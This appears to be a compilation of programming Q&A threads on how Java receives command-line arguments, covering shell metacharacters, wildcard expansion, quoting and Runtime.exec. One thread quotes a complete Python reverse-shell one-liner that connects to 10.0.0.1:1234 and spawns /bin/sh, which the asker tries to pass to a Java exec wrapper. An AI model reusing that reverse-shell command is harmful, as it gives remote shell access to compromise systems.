Here is a strange problem I ran into:
I create a single program to print all the received args, Here is the code:
public class Test {
public static void main(String[] args) {
for (int i = 0; i < args.length; i ++) {
System.out.println(args[i]);
}
}
}
Then I built a jar file of it and ran the following command:
java -jar test.jar test&1
However, it didn't print "test&1" as expected. The result of it is:
test
'1'is not recognized as an internal or external command,operable program or batch file.
So my question is: what is the seperation of args? If I really need to receive "test&1", what should I do?
Thanks!
It's nothing to do with Java. The & character is special to the Windows shell (I can tell it's Windows from the error message): It separates two commands on one line, so what you're doing is telling the shell to run java -jar test.jar test and then run 1. If you want to pass test&1 to Java, you'll have to put it in quotes:
java -jar test.jar "test&1"
The & is also special on *nix shells (but in a different way, it runs the command in a sub-shell). There, you could use quotes as above, or put an \ before the & instead. But not on Windows.
Related
I'm trying to parse my command line arguments using the apache commons CLI. It might be a bit heavy handed for the example here, but it makes sense in the context of the program I'm creating. I'm trying to read a file pattern filter, similar to what grep uses to select files to process.
My Argument looks like this:
Program --input *.*
I've written a test program to see what the parser is seeing;
public static void main(String[] args) {
Options options = new Options();
options.addOption(new Option(INPUT_FILTER_SHORT, INPUT_FILTER_LONG, true, INPUT_FILTER_DESCRIPTION));
CommandLineParser parser = new BasicParser();
CommandLine cmd = parser.parse(options, args);
System.out.println(cmd.getOptionValue(INPUT_FILTER_SHORT));
}
This prints out:
.classpath
If I change my arguments to:
Program --input test.txt
I get the output:
test.txt
I'm assuming that I have to do something to tell apache commons what * is not a special character? I can't seem to find anything about this online.
I'm experiencing this on Windows (7). I'm fairly certain it's the *.* which is causing the issue as when I swap to using patterns that don't use *, the expected pattern shows up.
Your problem isn't really to do with Commons CLI, but to do with how the shell and the Java executable together process the parameters.
To eliminate other factors, and see what's going on, use a short Java program:
public class ArgsDemo {
public static void main(String[] args) {
for(int i=0; i<args.length; i++) {
System.out.println("" + i + ": " + args[i]);
}
}
}
Play with java ArgsDemo hello world, java ArgsDemo * etc. and observe what happens.
On UNIX and Linux:
Java does no special processing of *. However, the shell does. So if you did:
$ mkdir x
$ cd x
$ touch a b
$ java -jar myjar.jar MyClass *
... then MyClass.main() would be invoked with the parameter array ["a","b"] -- because the UNIX shell expands * to files in the current directory.
You can suppress this by escaping:
$ java -jar myjar MyClass * // main() sees ["*"])
(Note that a UNIX shell wouldn't expand *.* to .classpath because this form would ignore "hidden" files starting with .)
On Windows
cmd.exe does not do UNIX-style wildcard expansion. If you supply * as a parameter to a command in Windows, the command gets a literal *. So for example, PKUNZIP *.zip passes *.zip to PKUNZIP.EXE, and it's up to that program to expand the wildcard if it wants to.
Since some release of Java 7, the Java executable for Windows does some wildcard to filename expansion of its own, before passing the parameters to your main() class.
I've not been able to find clear documentation of Java-for-Windows' wildcard expansion rules, but you should be able to control it with quoting, escaping the quotes to prevent cmd.exe interpreting them:
> java.exe -jar myjar.jar MyClass """*.*"""
(Untested as I don't have a Windows box handy, and quoting in cmd.exe is a bit of a beast - do please experiment and either edit the above or leave a comment)
Given the below java code, how can I pass the following python statements as argument to the java code
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
The java code:
import java.io.*;
public class Exec {
public static void main(String[] args) throws IOException {
Process p = Runtime.getRuntime().exec(args[0]);
byte[] b = new byte[1];
while (p.getErrorStream().read(b) > 0)
System.out.write(b);
while (p.getInputStream().read(b) > 0)
System.out.write(b);
}
}
I execute the java code using:
java Exec 'python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''
but it throws syntax error near unexpected token('`. If I use double quotes at the beginning and end
java Exec "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
it throws:
File "<string>", line 1
'import
^
SyntaxError: EOL while scanning string literal
Any help is much appreciated.
As you've noted, this is quite confusing. You're trying to pass in everything as one argument and the quoting becomes difficult. If you need explicit arguments, I think you have to pass in three arguments to your Java program, viz:
python
-c
the complete script quoted appropriately
e.g.
java Exec python -c "script quoted and escaped properly"
but perhaps you could circumvent that by running 'python' and passing the name of the file containing your script? (why do you need to specify 'python' and '-c' - could that be hardcoded in your program?)
Fundamentally, though, why are you using Java to execute a Python program to spawn a bash shell? If you're on the Java platform, I would look at how to achieve what you really want without having to fork subprocesses using different technologies.
Is there a way to read data from the command prompt? I have a java program that relies on 4 input variables from an outside source. These variables are returned to the command prompt after I run a javascript program but i need a way to pass these variables from the command prompt into my java program, any help would be greatly appreciated!
While executing java program pass the parameters and all the parameters should be separated by space.
java programName parameter1 parameter2 parameter3 parameter4
This parameters would be available in your main method argument
public static void main(String[] args){
//This args array would be containing all four values, i.e. its length would be 4 and you easily iterate values.
for(int i=0; i<args.length; i++){
System.out.println("Argument " + i + " is " + args[i]);
}
Follow the link:
Command-Line Arguments - The Java™ Tutorials : https://docs.oracle.com/javase/tutorial/essential/environment/cmdLineArgs.html
shared by #BackSlash.
It has all the content which would help you to clear all your doubts.
The content from the link is quoted below:
Displaying Command-Line Arguments passed by user from command-line to a Java program
The following example displays each of its command-line arguments on a
line by itself:
public class DisplayCommandLineParameters {
public static void main (String[] args) {
for (String s: args) {
System.out.println(s);
}
}
}
To compile the program: From the Command Prompt, navigate to the directory containing your .java file, say C:\test, by typing the cd
command below.
C:\Users\username>cd c:\test
C:\test>
Assuming the file, say DisplayCommandLineParameters.java, is in the
current working directory, type the javac command below to compile it.
C:\test>javac DisplayCommandLineParameters.java
C:\test>
If everything went well, you should see no error messages.
To run the program: The following example shows how a user might run the class.
C:\test>java DisplayCommandLineParameters Hello Java World
Output:
Hello
Java
World
Note that the application displays each word — Hello, Java and World —
on a line by itself. This is because the space character separates
command-line arguments.
To have Hello, Java and World interpreted as a single argument, the
user would join them by enclosing them within quotation marks.
C:\test>java DisplayCommandLineParameters "Hello Java World"
Output: Hello Java World
I am wondering if there's a way to create a jar that includes some command line arguments in it, the arguments that are usually passed in the command line when one tries to start up the jar (these parameters are then passed on to the main function). Basically instead of starting my app with
java -jar myapp.jar "arg1" "arg2", I want to start my app with
java -jar myapp.jar
and have "arg1" and "arg2" passed to the main function.
The reason behind this is that I want to deploy this to different environments, and I want my jar to contain different parameters according to the environment it's being deployed at.
Maybe there's another way to achieve similar results ??
Cheers.
PS: Looking for a maven solution.
Edit: I'll add a complete example to make this a bit more clear:
Let's say I have 2 environments: "Production" and "Test". I want to run the jar in the same way no matter in what environment I deploy it. So I always want to run it with:
java -jar myapp.jar
But! In order for my 2 environments to run ok, I need the Production environment jar to start it's main method with an argument "prod" and I need the Test environment jar to start it's main method with an argument "test".
If I correctly understood your problem, in your main() you could define a simple logic to handle the case where you do not specify any input parameter; the logic could retrieve the desired values according to the correct platform/env.
As an example:
public class Test01
{
public static void main(String... aaa)
{
// Check input
if(aaa.length == 0) {
/* Insert logic to retrieve the value you want, depending on the platform/environment.
* A trivial example could be: */
aaa = new String[2];
aaa[0] = "First value";
aaa[1] = "Second value";
}
// Processing, e.g. print the 2 input values
System.out.println(aaa[0] + ", " + aaa[1]);
}
}
Fyi, I created a runnable jar using eclipse, and start the application by either
java -jar Test01.jar
or
java -jar Test01.jar arg1 arg2
Hope this helps!
One solution is to change main(String[] args) to get values from env var if they are not present in the passed arguments.
String user;
String password;
if(args.length < 2)
{
user = System.getenv("appUser");
password = System.getenv("appPassword");
} else {
user = args[0];
password = args[1];
}
You can also create another class with a main function that will call the real one.
public class CallerMyApp{
public void main(String[] args) {
String[] realArgs = {System.getenv("appUser"), System.getenv("appPassword")};
MyApp.main(realArgs);
}
}
Then to execute its something like
java -cp myapp.jar CallerMyApp
public static void main(String args[]) throws IOException
{
Process p = Runtime.getRuntime().exec("java E:/workspace/JNIProgram/src/JNIProgram.class");
}
so I have this code and am trying to run the JNIProgram.class file however the program gets terminated instantly without doing its job (which is to create a new txt file and write to it)
So what am I doing wrong
The java command expects a Java class name, not a filename.
So the command java E:/workspace/JNIProgram/src/JNIProgram.class is wrong. If you try this manually from a command prompt window you'll get an error message.
The command should be something like this:
java -cp E:\workspace\JNIProgram\src JNIProgram
Note: What's after the -cp option is the classpath, and after that the fully-qualified class name (which is just JNIProgram, if the class is not in a package).
First make sure that you can run the command manually from the command line before you make it work from another Java program.